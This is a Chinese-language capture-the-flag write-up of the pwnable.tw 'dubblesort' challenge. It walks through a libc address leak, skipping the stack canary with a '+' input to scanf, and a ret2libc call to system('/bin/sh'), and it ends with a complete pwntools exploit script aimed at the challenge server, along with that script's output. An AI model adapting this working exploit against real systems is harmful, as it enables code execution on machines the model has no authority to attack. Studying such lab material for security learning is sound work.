Pwnable.tw dubblesort Writeup

kazma 成大資安社 創辦人/社長

Pwnable.tw - dubblesort

Description

Sort the memory!

Source

https://pwnable.tw/challenge/#4

0x1 Initial Reconnaissance

一個會問你名字然後 bubble sort 的小程式。

file

1
2
└─$ file dubblesort
dubblesort: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter ./ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=12a217baf7cbdf2bb5c344ff14adcf7703672fb1, stripped

checksec

1
2
3
4
5
6
7
8
└─$ checksec ./dubblesort
[*] '/home/kazma/pwnabletw/dubblesort/dubblesort'
Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

./dubblesort

1
2
3
4
5
6
7
8
9
10
11
12
└─$ ./dubblesort
What your name :kazma
Hello kazma
/,How many numbers do you what to sort :5
Enter the 0 number : 3
Enter the 1 number : 2
Enter the 2 number : 8
Enter the 3 number : 1
Enter the 4 number : 5
Processing......
Result :
1 2 3 5 8

0x2 patchelf

詳細可以參考 這篇教學

1
2
3
4
5
6
└─$ patchelf --set-interpreter ./ld-2.23.so dubblesort
└─$ patchelf --replace-needed libc.so.6 ./libc_32.so.6 dubblesort
└─$ ldd dubblesort
linux-gate.so.1 (0xf7fba000)
./libc_32.so.6 (0xf7df7000)
./ld-2.23.so => /lib/ld-linux.so.2 (0xf7fbc000)

0x2 Fuzzing & Analyze

程式很小一個,從輸入點可以看到兩個漏洞如下:

  • read 後沒有加 null byte,可以 leak libc_base:

read

  • 可以 oob write,這點從 fuzzing 會觸發 stack smashing detected 可以發現它能覆蓋掉 canary:

scanf

0x3 Exploitation

攻擊思路如下:

  1. 先透過第一個 read 去 leak libc_base。
  2. 透過 oob write 想辦法蓋對 canary 或是繞過它。
  3. ret2libc 的 system/bin/sh
  4. 處理 sort
  5. 快樂 RCE

leak libc

  • 我們用 gdb 來分析 stack 上面的殘渣:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    └─$ gdb -q dubblesort
    gef➤ start
    gef➤ break read@plt
    gef➤ c
    gef➤ fin
    aaaa
    gef➤ break __printf_chk@plt
    gef➤ c
    gef➤ gef config context.nb_lines_stack 30
    gef➤ context stack
    gef➤ vmmap
    方法大致如上。
    接著 demo 腳本,stack 如下,0x61616161 是我們的輸入,最後填上 ‘z’ 來幫助我們收集 leak 的資料,也就是 0x7a,後面緊接著就是 libc 裡面的某個地址:
    libc
    收集 leak 出來的地址之後再 vmmap 可以算出跟當前 libc_base 的差值,成功計算完,執行會長得像最上面那樣。

繞過 canary

試了一下發現想不到有什麼方式可以 leak 出 canary 又填回去,但上網查會發現 scanf 有一些特殊的性質,例如這裡 scanfformat specifier%u,也就是他會期待收到一個無號十進制整數,如果填 a 會直接導致後面的 scanf 都失敗,因為 stdin 一直沒有被取走,而像是 +- 不會讓 scanf 失敗但也不會改變陣列原本的值,我們可以利用這個來跳過 canary 的輸入。
一樣用 gdb 可以查到 canary 相對於 array[0] 的 offset,這裡輸入 5 個數字分別是 1 ~ 5,也可以用 ida 或其他逆向工具直接算:
canary
(0x7c - 0x1c) / 4 + 1 = 25
所以 canary 在 array[24],到後會填 +-

ret2libc

1
2
3
success('libc_base -> %s' % hex(l.address))
success('system -> %s' % hex(l.sym.system))
success('bin_sh -> %s' % hex(next(l.search('/bin/sh\0'))))

處理排序

因為最後他會把陣列內的值排序,所以我們可以先塞 24 個 1,繞過 canary,然後一路放 system 到 ret,再補四個 bytes 補齊 ret 跟 call 的差值,最後放上 '/bin/sh\0',canary 高機率都小於 libc 的地址,system 的 offset 也剛好比 '/bin/sh\0' 小,畫成表格可以更好理解:

array stack payload
a[0]~a[23] ‘1’
a[24] canary ‘+’
a[25]~a[30] “l.sym.system”
a[31] ebp “l.sym.system”
a[32] ret “l.sym.system”
a[33] “l.sym.system”
a[34] “next(l.search(‘/bin/sh\0’))”

環境差異

在本地成功 get shell 了:
shell
但送到遠端會發現 libc_base 算起來不對,感覺是環境不同導致 stack 上面的殘值有所不同,但已經盡可能的透過 patchelf 去模擬一樣的環境,猜測是因為遠端是 32 位元的系統。

0x4 Exploit

上網查到正確的 offset 補上後就成功 get shell 了!
exploit.py 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
└─$ cat exploit.py
from pwn import *
import warnings
warnings.filterwarnings("ignore", category = BytesWarning)
context.arch = 'i386'
#context.log_level = 'debug'

#r = process('./dubblesort')
r = remote('chall.pwnable.tw', 10101)
l = ELF('./libc_32.so.6')

r.sendline(b'a' * 27 + b'#')
r.recvuntil(b'#')

l.address = u32(r.recv(4)) - 0x1b0000 - 0xa

#gdb.attach(r)
success('libc_base -> %s' % hex(l.address))
success('system -> %s' % hex(l.sym.system))
success('bin_sh -> %s' % hex(next(l.search('/bin/sh\0'))))


r.sendlineafter(b':', '35')

for i in range(24):
r.sendlineafter(b':', '1')

r.sendlineafter(b':', '+')

for i in range(9):
r.sendlineafter(b':', str(l.sym.system))

r.sendlineafter(b':', str(next(l.search('/bin/sh\0'))))

sleep(0.1)
r.sendline( 'cat /home/`whoami`/flag' )

r.interactive()

執行結果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
└─$ python exploit.py
[+] Opening connection to chall.pwnable.tw on port 10101: Done
[*] '/home/kazma/pwnabletw/dubblesort/libc_32.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] libc_base -> 0xf75be000
[+] system -> 0xf75f8940
[+] bin_sh -> 0xf7716e8b
[*] Switching to interactive mode
Processing......
Result :
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 2731900928 4150233408 4150233408 4150233408 4150233408 4150233408 4150233408 4150233408 4150233408 4150233408 4151406219 FLAG{XXXXXXXXXXXXXXXXXXXX}

Pwned !!!

  • Title: Pwnable.tw dubblesort Writeup
  • Author: kazma
  • Created at : 2024-04-19 14:28:20
  • Updated at : 2024-04-20 11:08:33
  • Link: https://kazma.tw/2024/04/19/Pwnable-tw-dubblesort-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
 Comments